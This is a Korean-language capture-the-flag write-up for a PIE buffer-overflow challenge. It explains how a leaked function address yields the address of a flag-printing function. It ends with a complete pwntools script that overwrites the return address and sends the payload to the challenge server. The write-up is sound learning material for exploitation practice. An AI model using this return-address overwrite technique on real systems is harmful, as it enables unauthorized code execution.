main 함수이다. welcome()을 function call 한다.
welcome() 함수이다. 문자열 두줄 출력 뒤 v1에 입력을 받는다.
j0n9hyun 함수는 flag를 출력하는 함수이다.
간단하게 welcome 함수의 RET을 j0n9hyun의 주소로 덮으면 될 것 같다. 각 함수들의 심볼들을 이용하여 offset을 계산한 뒤, j0n9hyun 함수의 주소를 payload에 넣으면 될 것 같다. (메모리 구조 생략)
다음과 같이 offset을 구한다. gdb 로 분석하였을 때 welcome 함수가 j0n9hyun 함수보다 상대적으로 고주소이기 때문에 welcome의 주소에서 offset을 빼주어 j0n9hyun 함수의 주소를 구하여 payload에 넣어준다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3008)
elf = ELF("./bof_pie.dms")
offset = elf.symbols['welcome'] - elf.symbols['j0n9hyun']
r.recvline()
r.recvuntil("is ")
welcome = int(r.recv(10), 16)
j0n9hyun = welcome - offset
payload = "\x90"*22
payload += p32(j0n9hyun)
r.sendline(payload)
r.interactive()